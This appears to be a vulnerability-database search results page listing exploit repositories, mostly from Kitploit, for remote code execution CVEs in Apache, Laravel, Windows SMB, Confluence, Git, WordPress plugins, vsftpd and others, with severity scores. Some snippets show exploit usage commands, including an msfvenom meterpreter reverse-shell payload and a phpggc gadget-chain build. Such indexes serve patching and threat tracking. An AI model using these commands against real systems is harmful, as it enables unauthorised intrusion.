Lucene search
+L

274558 matches found

Kitploit
Kitploit
added 2026/08/31 2:56 p.m.4 views

Apache-CVE-2021-42013-RCE-Exploit

🚀 Overview This exploit tool targets path traversal and remote code execution vulnerabilities in Apache HTTP Server versions 2.4.49 and 2.4.50. The tool uses curl backend to bypass URL encoding issues that affect other Python-based exploit attempts, providing reliable exploitation even when other...

9.8CVSS7.8AI score0.99992EPSS
SaveExploits190
Kitploit
Kitploit
added 2026/08/31 2:55 p.m.4 views

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – RCE Zero-Click en iOS AudioConverterService Divulgación pública de CVE-2025-31200 – una vulnerabilidad de ejecución remota de código RCE zero-click en iOS 18.X de Apple, específicamente dentro del componente AudioConverterService. La vulnerabilidad se desencadena mediante un...

9.8CVSS7.7AI score0.1966EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/31 2:54 p.m.2 views

CVE-2024-28397-exploit

js2py Sandbox Escape CVE-2024-28397 用于通过沙箱逃逸实现远程命令执行(RCE)的漏洞利用程序,针对 js2py = 0.74。 允许通过不安全的JavaScript评估在宿主机上执行任意代码。 漏洞 CVE : CVE-2024-28397 组件 : js2py 受影响版本 : = 0.74 影响 : Remote Code Execution 向量 : JavaScript sandbox escape 漏洞分析 : CVE-2024-28397-js2py-Sandbox-Escape 特性 沙箱逃逸 通过 subprocess.Popen 执行命...

5.3CVSS7.2AI score0.04548EPSS
SaveExploits22References1
Kitploit
Kitploit
added 2026/08/31 2:54 p.m.3 views

laravel-exploits

laravel-exploits Exploit para CVE-2021-3129 Detalles: https://www.ambionics.io/blog/laravel-debug-rce Uso root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

9.8CVSS7AI score0.99943EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/08/31 2:52 p.m.4 views

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

8.8CVSS7.4AI score0.38049EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/31 2:52 p.m.3 views

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Ejecución remota de código no autenticada en Backup Migration plugin de WordPress. Ejecución root@kitploit: $ python exploit.py Se ejecuta el siguiente script PHP. root@kitploit: out.txt; ? Referencias Ejecución remota de código no autenticada crítica encontrada en el...

9.8CVSS7.3AI score0.97846EPSS
SaveExploits16References1
Kitploit
Kitploit
added 2026/08/31 2:51 p.m.4 views

CVE-2024-32002

CVE-2024-32002: Exploiting Git RCE via git clone This repository contains a PoC for exploiting CVE-2024-32002, a vulnerability in Git that allows RCE during a git clone operation. By crafting repositories with submodules in a specific way, an attacker can exploit symlink handling on...

9CVSS7.2AI score0.29234EPSS
SaveExploits32
Kitploit
Kitploit
added 2026/08/31 2:47 p.m.4 views

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-en-Confluence-Data-Center-and-Server Esta vulnerabilidad permite a un atacante no autenticado ejecutar código arbitrario de forma remota en un servidor Confluence vulnerable. La vulnerabilidad existe debido a una validación incorrecta de la entrada proporcionada por el usuario...

8.8CVSS7.4AI score0.88267EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/31 2:47 p.m.4 views

CVE-2021-33026

CVE-2021-33026 Pickle Serialization Remote Code Execution - Memcached Poisoning PoC Exploit What's CVE-2021-3306? "The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains...

9.8CVSS7.8AI score0.07007EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/08/31 2:46 p.m.6 views

CVE-2025-3776

CVE-2025-3776 - Remote Code Execution in "Verification SMS with TargetSMS" Plugin = 1.5 Plugin Information Plugin Name: Verification SMS with TargetSMS Vulnerable Versions: = 1.5 CVE ID: CVE-2025-3776 Type: Remote Code Execution RCE OWASP Classification: A1: Injection CVSS Severity: 10.0 Critical...

8.3CVSS7.3AI score0.00863EPSS
SaveExploits1
EUVD
EUVD
added 2026/08/31 2:46 p.m.6 views

EUVD-2026-68577

ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...

9.2CVSS6.4AI score0.00539EPSS
SaveExploits0References3
Kitploit
Kitploit
added 2026/08/31 2:46 p.m.4 views

CVE-2024-11393

CVE-2024-11393 Vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en el modelo MaskFormer de Hugging Face Transformers Resumen general y efectos de la vulnerabilidad: La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona a...

8.8CVSS8AI score0.03074EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/31 2:45 p.m.3 views

CVE-2021-41773_CVE-2021-42013_Exploits

Explotando CVE-2021-41773 y CVE-2021-42013 Descripción general Este repositorio se centra en explotar dos vulnerabilidades en Apache HTTPD: CVE-2021-41773 y CVE-2021-42013. Estos CVE representan vulnerabilidades de path traversal que potencialmente pueden conducir a mapeo de archivos y ejecución...

9.8CVSS7.7AI score0.99992EPSS
SaveExploits190
Kitploit
Kitploit
added 2026/08/31 2:45 p.m.4 views

CVE-2020-0688

CVE-2020-0688 Ejecución remota de código RCE en Microsoft Exchange Server mediante clave criptográfica fija En lugar de tener claves generadas aleatoriamente por instalación, todas las instalaciones de Microsoft Exchange Server tienen los mismos valores validationKey y decryptionKey en web.config...

9CVSS7.6AI score0.99965EPSS
SaveExploits29References1
Kitploit
Kitploit
added 2026/08/31 2:44 p.m.5 views

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590 es una vulnerabilidad que puede ser explotada cuando hay una deserialización inadecuada en el lado del servidor, en este caso, Clearml. Cuando un atacante crea un archivo Pickle malicioso, puede ejecutar código arbitrario en la víctima que deserializa el...

8.8CVSS7.6AI score0.02473EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/31 2:43 p.m.4 views

CVE-2011-2523-poc

CVE-2011-2523-poc This is a python3 script to exploit the CVE-2011-2523, the VSFTPD 2.3.4 Backdoor Command Execution, using socket and telnetlib modules Requirements root@kitploit: sudo python3 -m pip install pwntools Install root@kitploit: git clone https://github.com/4m3rr0r/CVE-2011-2523-poc.g...

10CVSS7.1AI score0.96184EPSS
SaveExploits45
Kitploit
Kitploit
added 2026/08/31 2:42 p.m.3 views

CVE-2024-9441

CVE-2024-9441 Description of the Vulnerability: This code exploits a Remote Code Execution RCE vulnerability that occurs due to improper input sanitization in a PHP-based web application. The specific weakness is in the "forgot password" functionality index.php?c=user&m=forgotpassword, where user...

9.8CVSS6.3AI score0.53472EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/31 2:42 p.m.4 views

CVE-2020-26217

Description XStream can be used for Remote Code Execution Influence Xstream com.thoughtworks.xstream xstream 1.4.13 How to use root@kitploit: 0 text/plain 0 -1 1...

9.3CVSS6.7AI score0.85001EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/31 2:42 p.m.3 views

CVE-2020-10148

Usage & Disclaimer This script is a batch detection script for the SolarWinds Orion API remote code execution vulnerability CVE-2020-10148. Usage: Python CVE-2020-10148.py urls.txt Each URL in urls.txt is on a separate line, and the vulnerable addresses are output to vul.txt. Affected versions:...

9.8CVSS7.8AI score0.9198EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/31 2:42 p.m.4 views

CVE-2022-21587-Oracle-EBS-

Requisitos previos para que este exploit funcione: python3 incluyendo los módulos requests, os, sys, slipit uuencode Antes de ejecutar, asegúrate de usarlo solo con fines éticos Si el exploit falla al ejecutarse: Asegúrate de haber instalado los módulos prerrequisitos instalar requests pip3 insta...

9.8CVSS7.4AI score0.98342EPSS
SaveExploits7References1
Rows per page
Query Builder